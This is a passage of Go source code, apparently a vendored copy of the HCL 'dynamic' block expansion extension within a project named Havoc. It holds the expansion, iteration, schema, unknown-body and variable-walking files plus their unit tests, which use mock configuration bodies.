b.expandChild(rawBlock.Body, b.iteration) blocks = append(blocks, &expandedBlock) } } } return blocks, diags } func (b *expandBody) expandChild(child hcl.Body, i *iteration) hcl.Body { chiCtx := i.EvalContext(b.forEachCtx) ret := Expand(child, chiCtx) ret.(*expandBody).iteration = i return ret } func (b *expandBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { // blocks aren't allowed in JustAttributes mode and this body can // only produce blocks, so we'll just pass straight through to our // underlying body here. return b.original.JustAttributes() } func (b *expandBody) MissingItemRange() hcl.Range { return b.original.MissingItemRange() } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_body_test.go ================================================ package dynblock import ( "strings" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcldec" "Havoc/pkg/profile/yaotl/hcltest" "github.com/zclconf/go-cty/cty" ) func TestExpand(t *testing.T) { srcBody := hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "a", Labels: []string{"static0"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprLiteral(cty.StringVal("static a 0")), }), }), }, { Type: "b", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "c", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprLiteral(cty.StringVal("static c 0")), }), }), }, { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic c 0"), cty.StringVal("dynamic c 1"), })), "iterator": hcltest.MockExprVariable("dyn_c"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("dyn_c.value"), }), }), }, }, }), }, }, }), }, { Type: "dynamic", Labels: []string{"a"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic a 0"), cty.StringVal("dynamic a 1"), cty.StringVal("dynamic a 2"), })), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprTraversalSrc("a.key"), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("a.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"b"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic b 0"), cty.StringVal("dynamic b 1"), })), "iterator": hcltest.MockExprVariable("dyn_b"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "c", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprLiteral(cty.StringVal("static c 1")), "val1": hcltest.MockExprTraversalSrc("dyn_b.value"), }), }), }, { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{ cty.StringVal("dynamic c 2"), cty.StringVal("dynamic c 3"), })), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("c.value"), "val1": hcltest.MockExprTraversalSrc("dyn_b.value"), }), }), }, }, }), }, }, }), }, }, }), }, { Type: "dynamic", Labels: []string{"b"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.MapVal(map[string]cty.Value{ "foo": cty.ListVal([]cty.Value{ cty.StringVal("dynamic c nested 0"), cty.StringVal("dynamic c nested 1"), }), })), "iterator": hcltest.MockExprVariable("dyn_b"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "dynamic", Labels: []string{"c"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprTraversalSrc("dyn_b.value"), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val0": hcltest.MockExprTraversalSrc("c.value"), "val1": hcltest.MockExprTraversalSrc("dyn_b.key"), }), }), }, }, }), }, }, }), }, }, }), }, { Type: "a", Labels: []string{"static1"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprLiteral(cty.StringVal("static a 1")), }), }), }, }, }) dynBody := Expand(srcBody, nil) var remain hcl.Body t.Run("PartialDecode", func(t *testing.T) { decSpec := &hcldec.BlockMapSpec{ TypeName: "a", LabelNames: []string{"key"}, Nested: &hcldec.AttrSpec{ Name: "val", Type: cty.String, Required: true, }, } var got cty.Value var diags hcl.Diagnostics got, remain, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.MapVal(map[string]cty.Value{ "static0": cty.StringVal("static a 0"), "static1": cty.StringVal("static a 1"), "0": cty.StringVal("dynamic a 0"), "1": cty.StringVal("dynamic a 1"), "2": cty.StringVal("dynamic a 2"), }) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("Decode", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "b", Nested: &hcldec.BlockListSpec{ TypeName: "c", Nested: &hcldec.ObjectSpec{ "val0": &hcldec.AttrSpec{ Name: "val0", Type: cty.String, }, "val1": &hcldec.AttrSpec{ Name: "val1", Type: cty.String, }, }, }, } var got cty.Value var diags hcl.Diagnostics got, diags = hcldec.Decode(remain, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.ListVal([]cty.Value{ cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 0"), "val1": cty.NullVal(cty.String), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 0"), "val1": cty.NullVal(cty.String), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 1"), "val1": cty.NullVal(cty.String), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 1"), "val1": cty.StringVal("dynamic b 0"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 2"), "val1": cty.StringVal("dynamic b 0"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 3"), "val1": cty.StringVal("dynamic b 0"), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("static c 1"), "val1": cty.StringVal("dynamic b 1"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 2"), "val1": cty.StringVal("dynamic b 1"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c 3"), "val1": cty.StringVal("dynamic b 1"), }), }), cty.ListVal([]cty.Value{ cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c nested 0"), "val1": cty.StringVal("foo"), }), cty.ObjectVal(map[string]cty.Value{ "val0": cty.StringVal("dynamic c nested 1"), "val1": cty.StringVal("foo"), }), }), }) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) } func TestExpandUnknownBodies(t *testing.T) { srcContent := &hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "dynamic", Labels: []string{"list"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"tuple"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"set"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"map"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprLiteral(cty.StringVal("static")), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"object"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprLiteral(cty.StringVal("static")), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"invalid_list"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), // unexpected attributes should still produce an error "invalid": hcltest.MockExprLiteral(cty.StringVal("static")), }), }), }, }, }), }, }, } srcBody := hcltest.MockBody(srcContent) dynBody := Expand(srcBody, nil) t.Run("DecodeList", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "list", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.List(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeTuple", func(t *testing.T) { decSpec := &hcldec.BlockTupleSpec{ TypeName: "tuple", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.DynamicVal if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeSet", func(t *testing.T) { decSpec := &hcldec.BlockSetSpec{ TypeName: "tuple", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.Set(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeMap", func(t *testing.T) { decSpec := &hcldec.BlockMapSpec{ TypeName: "map", LabelNames: []string{"key"}, Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.Map(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeInvalidList", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "invalid_list", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } _, _, diags := hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 1 { t.Error("expected 1 extraneous argument") } want := `Mock body has extraneous argument "invalid"` if !strings.Contains(diags.Error(), want) { t.Errorf("unexpected diagnostics: %v", diags) } }) } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_spec.go ================================================ package dynblock import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) type expandSpec struct { blockType string blockTypeRange hcl.Range defRange hcl.Range forEachVal cty.Value iteratorName string labelExprs []hcl.Expression contentBody hcl.Body inherited map[string]*iteration } func (b *expandBody) decodeSpec(blockS *hcl.BlockHeaderSchema, rawSpec *hcl.Block) (*expandSpec, hcl.Diagnostics) { var diags hcl.Diagnostics var schema *hcl.BodySchema if len(blockS.LabelNames) != 0 { schema = dynamicBlockBodySchemaLabels } else { schema = dynamicBlockBodySchemaNoLabels } specContent, specDiags := rawSpec.Body.Content(schema) diags = append(diags, specDiags...) if specDiags.HasErrors() { return nil, diags } //// for_each attribute eachAttr := specContent.Attributes["for_each"] eachVal, eachDiags := eachAttr.Expr.Value(b.forEachCtx) diags = append(diags, eachDiags...) if !eachVal.CanIterateElements() && eachVal.Type() != cty.DynamicPseudoType { // We skip this error for DynamicPseudoType because that means we either // have a null (which is checked immediately below) or an unknown // (which is handled in the expandBody Content methods). diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic for_each value", Detail: fmt.Sprintf("Cannot use a %s value in for_each. An iterable collection is required.", eachVal.Type().FriendlyName()), Subject: eachAttr.Expr.Range().Ptr(), Expression: eachAttr.Expr, EvalContext: b.forEachCtx, }) return nil, diags } if eachVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic for_each value", Detail: "Cannot use a null value in for_each.", Subject: eachAttr.Expr.Range().Ptr(), Expression: eachAttr.Expr, EvalContext: b.forEachCtx, }) return nil, diags } //// iterator attribute iteratorName := blockS.Type if iteratorAttr := specContent.Attributes["iterator"]; iteratorAttr != nil { itTraversal, itDiags := hcl.AbsTraversalForExpr(iteratorAttr.Expr) diags = append(diags, itDiags...) if itDiags.HasErrors() { return nil, diags } if len(itTraversal) != 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic iterator name", Detail: "Dynamic iterator must be a single variable name.", Subject: itTraversal.SourceRange().Ptr(), }) return nil, diags } iteratorName = itTraversal.RootName() } var labelExprs []hcl.Expression if labelsAttr := specContent.Attributes["labels"]; labelsAttr != nil { var labelDiags hcl.Diagnostics labelExprs, labelDiags = hcl.ExprList(labelsAttr.Expr) diags = append(diags, labelDiags...) if labelDiags.HasErrors() { return nil, diags } if len(labelExprs) > len(blockS.LabelNames) { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous dynamic block label", Detail: fmt.Sprintf("Blocks of type %q require %d label(s).", blockS.Type, len(blockS.LabelNames)), Subject: labelExprs[len(blockS.LabelNames)].Range().Ptr(), }) return nil, diags } else if len(labelExprs) < len(blockS.LabelNames) { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Insufficient dynamic block labels", Detail: fmt.Sprintf("Blocks of type %q require %d label(s).", blockS.Type, len(blockS.LabelNames)), Subject: labelsAttr.Expr.Range().Ptr(), }) return nil, diags } } // Since our schema requests only blocks of type "content", we can assume // that all entries in specContent.Blocks are content blocks. if len(specContent.Blocks) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing dynamic content block", Detail: "A dynamic block must have a nested block of type \"content\" to describe the body of each generated block.", Subject: &specContent.MissingItemRange, }) return nil, diags } if len(specContent.Blocks) > 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous dynamic content block", Detail: "Only one nested content block is allowed for each dynamic block.", Subject: &specContent.Blocks[1].DefRange, }) return nil, diags } return &expandSpec{ blockType: blockS.Type, blockTypeRange: rawSpec.LabelRanges[0], defRange: rawSpec.DefRange, forEachVal: eachVal, iteratorName: iteratorName, labelExprs: labelExprs, contentBody: specContent.Blocks[0].Body, }, diags } func (s *expandSpec) newBlock(i *iteration, ctx *hcl.EvalContext) (*hcl.Block, hcl.Diagnostics) { var diags hcl.Diagnostics var labels []string var labelRanges []hcl.Range lCtx := i.EvalContext(ctx) for _, labelExpr := range s.labelExprs { labelVal, labelDiags := labelExpr.Value(lCtx) diags = append(diags, labelDiags...) if labelDiags.HasErrors() { return nil, diags } var convErr error labelVal, convErr = convert.Convert(labelVal, cty.String) if convErr != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: fmt.Sprintf("Cannot use this value as a dynamic block label: %s.", convErr), Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } if labelVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: "Cannot use a null value as a dynamic block label.", Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } if !labelVal.IsKnown() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: "This value is not yet known. Dynamic block labels must be immediately-known values.", Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } labels = append(labels, labelVal.AsString()) labelRanges = append(labelRanges, labelExpr.Range()) } block := &hcl.Block{ Type: s.blockType, TypeRange: s.blockTypeRange, Labels: labels, LabelRanges: labelRanges, DefRange: s.defRange, Body: s.contentBody, } return block, diags } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expr_wrap.go ================================================ package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type exprWrap struct { hcl.Expression i *iteration } func (e exprWrap) Variables() []hcl.Traversal { raw := e.Expression.Variables() ret := make([]hcl.Traversal, 0, len(raw)) // Filter out traversals that refer to our iterator name or any // iterator we've inherited; we're going to provide those in // our Value wrapper, so the caller doesn't need to know about them. for _, traversal := range raw { rootName := traversal.RootName() if rootName == e.i.IteratorName { continue } if _, inherited := e.i.Inherited[rootName]; inherited { continue } ret = append(ret, traversal) } return ret } func (e exprWrap) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { extCtx := e.i.EvalContext(ctx) return e.Expression.Value(extCtx) } // UnwrapExpression returns the expression being wrapped by this instance. // This allows the original expression to be recovered by hcl.UnwrapExpression. func (e exprWrap) UnwrapExpression() hcl.Expression { return e.Expression } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/iteration.go ================================================ package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type iteration struct { IteratorName string Key cty.Value Value cty.Value Inherited map[string]*iteration } func (s *expandSpec) MakeIteration(key, value cty.Value) *iteration { return &iteration{ IteratorName: s.iteratorName, Key: key, Value: value, Inherited: s.inherited, } } func (i *iteration) Object() cty.Value { return cty.ObjectVal(map[string]cty.Value{ "key": i.Key, "value": i.Value, }) } func (i *iteration) EvalContext(base *hcl.EvalContext) *hcl.EvalContext { new := base.NewChild() if i != nil { new.Variables = map[string]cty.Value{} for name, otherIt := range i.Inherited { new.Variables[name] = otherIt.Object() } new.Variables[i.IteratorName] = i.Object() } return new } func (i *iteration) MakeChild(iteratorName string, key, value cty.Value) *iteration { if i == nil { // Create entirely new root iteration, then return &iteration{ IteratorName: iteratorName, Key: key, Value: value, } } inherited := map[string]*iteration{} for name, otherIt := range i.Inherited { inherited[name] = otherIt } inherited[i.IteratorName] = i return &iteration{ IteratorName: iteratorName, Key: key, Value: value, Inherited: inherited, } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/public.go ================================================ // Package dynblock provides an extension to HCL that allows dynamic // declaration of nested blocks in certain contexts via a special block type // named "dynamic". package dynblock import ( "Havoc/pkg/profile/yaotl" ) // Expand "dynamic" blocks in the given body, returning a new body that // has those blocks expanded. // // The given EvalContext is used when evaluating "for_each" and "labels" // attributes within dynamic blocks, allowing those expressions access to // variables and functions beyond the iterator variable created by the // iteration. // // Expand returns no diagnostics because no blocks are actually expanded // until a call to Content or PartialContent on the returned body, which // will then expand only the blocks selected by the schema. // // "dynamic" blocks are also expanded automatically within nested blocks // in the given body, including within other dynamic blocks, thus allowing // multi-dimensional iteration. However, it is not possible to // dynamically-generate the "dynamic" blocks themselves except through nesting. // // parent { // dynamic "child" { // for_each = child_objs // content { // dynamic "grandchild" { // for_each = child.value.children // labels = [grandchild.key] // content { // parent_key = child.key // value = grandchild.value // } // } // } // } // } func Expand(body hcl.Body, ctx *hcl.EvalContext) hcl.Body { return &expandBody{ original: body, forEachCtx: ctx, } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/schema.go ================================================ package dynblock import "Havoc/pkg/profile/yaotl" var dynamicBlockHeaderSchema = hcl.BlockHeaderSchema{ Type: "dynamic", LabelNames: []string{"type"}, } var dynamicBlockBodySchemaLabels = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: true, }, { Name: "iterator", Required: false, }, { Name: "labels", Required: true, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", LabelNames: nil, }, }, } var dynamicBlockBodySchemaNoLabels = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: true, }, { Name: "iterator", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", LabelNames: nil, }, }, } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/unknown_body.go ================================================ package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // unknownBody is a funny body that just reports everything inside it as // unknown. It uses a given other body as a sort of template for what attributes // and blocks are inside -- including source location information -- but // substitutes unknown values of unknown type for all attributes. // // This rather odd process is used to handle expansion of dynamic blocks whose // for_each expression is unknown. Since a block cannot itself be unknown, // we instead arrange for everything _inside_ the block to be unknown instead, // to give the best possible approximation. type unknownBody struct { template hcl.Body } var _ hcl.Body = unknownBody{} // hcldec.UnkownBody impl func (b unknownBody) Unknown() bool { return true } func (b unknownBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, diags := b.template.Content(schema) content = b.fixupContent(content) // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return content, diags } func (b unknownBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { content, remain, diags := b.template.PartialContent(schema) content = b.fixupContent(content) remain = unknownBody{remain} // remaining content must also be wrapped // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return content, remain, diags } func (b unknownBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { attrs, diags := b.template.JustAttributes() attrs = b.fixupAttrs(attrs) // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return attrs, diags } func (b unknownBody) MissingItemRange() hcl.Range { return b.template.MissingItemRange() } func (b unknownBody) fixupContent(got *hcl.BodyContent) *hcl.BodyContent { ret := &hcl.BodyContent{} ret.Attributes = b.fixupAttrs(got.Attributes) if len(got.Blocks) > 0 { ret.Blocks = make(hcl.Blocks, 0, len(got.Blocks)) for _, gotBlock := range got.Blocks { new := *gotBlock // shallow copy new.Body = unknownBody{gotBlock.Body} // nested content must also be marked unknown ret.Blocks = append(ret.Blocks, &new) } } return ret } func (b unknownBody) fixupAttrs(got hcl.Attributes) hcl.Attributes { if len(got) == 0 { return nil } ret := make(hcl.Attributes, len(got)) for name, gotAttr := range got { new := *gotAttr // shallow copy new.Expr = hcl.StaticExpr(cty.DynamicVal, gotAttr.Expr.Range()) ret[name] = &new } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables.go ================================================ package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // WalkVariables begins the recursive process of walking all expressions and // nested blocks in the given body and its child bodies while taking into // account any "dynamic" blocks. // // This function requires that the caller walk through the nested block // structure in the given body level-by-level so that an appropriate schema // can be provided at each level to inform further processing. This workflow // is thus easiest to use for calling applications that have some higher-level // schema representation available with which to drive this multi-step // process. If your application uses the hcldec package, you may be able to // use VariablesHCLDec instead for a more automatic approach. func WalkVariables(body hcl.Body) WalkVariablesNode { return WalkVariablesNode{ body: body, includeContent: true, } } // WalkExpandVariables is like Variables but it includes only the variables // required for successful block expansion, ignoring any variables referenced // inside block contents. The result is the minimal set of all variables // required for a call to Expand, excluding variables that would only be // needed to subsequently call Content or PartialContent on the expanded // body. func WalkExpandVariables(body hcl.Body) WalkVariablesNode { return WalkVariablesNode{ body: body, } } type WalkVariablesNode struct { body hcl.Body it *iteration includeContent bool } type WalkVariablesChild struct { BlockTypeName string Node WalkVariablesNode } // Body returns the HCL Body associated with the child node, in case the caller // wants to do some sort of inspection of it in order to decide what schema // to pass to Visit. // // Most implementations should just fetch a fixed schema based on the // BlockTypeName field and not access this. Deciding on a schema dynamically // based on the body is a strange thing to do and generally necessary only if // your caller is already doing other bizarre things with HCL bodies. func (c WalkVariablesChild) Body() hcl.Body { return c.Node.body } // Visit returns the variable traversals required for any "dynamic" blocks // directly in the body associated with this node, and also returns any child // nodes that must be visited in order to continue the walk. // // Each child node has its associated block type name given in its BlockTypeName // field, which the calling application should use to determine the appropriate // schema for the content of each child node and pass it to the child node's // own Visit method to continue the walk recursively. func (n WalkVariablesNode) Visit(schema *hcl.BodySchema) (vars []hcl.Traversal, children []WalkVariablesChild) { extSchema := n.extendSchema(schema) container, _, _ := n.body.PartialContent(extSchema) if container == nil { return vars, children } children = make([]WalkVariablesChild, 0, len(container.Blocks)) if n.includeContent { for _, attr := range container.Attributes { for _, traversal := range attr.Expr.Variables() { var ours, inherited bool if n.it != nil { ours = traversal.RootName() == n.it.IteratorName _, inherited = n.it.Inherited[traversal.RootName()] } if !(ours || inherited) { vars = append(vars, traversal) } } } } for _, block := range container.Blocks { switch block.Type { case "dynamic": blockTypeName := block.Labels[0] inner, _, _ := block.Body.PartialContent(variableDetectionInnerSchema) if inner == nil { continue } iteratorName := blockTypeName if attr, exists := inner.Attributes["iterator"]; exists { iterTraversal, _ := hcl.AbsTraversalForExpr(attr.Expr) if len(iterTraversal) == 0 { // Ignore this invalid dynamic block, since it'll produce // an error if someone tries to extract content from it // later anyway. continue } iteratorName = iterTraversal.RootName() } blockIt := n.it.MakeChild(iteratorName, cty.DynamicVal, cty.DynamicVal) if attr, exists := inner.Attributes["for_each"]; exists { // 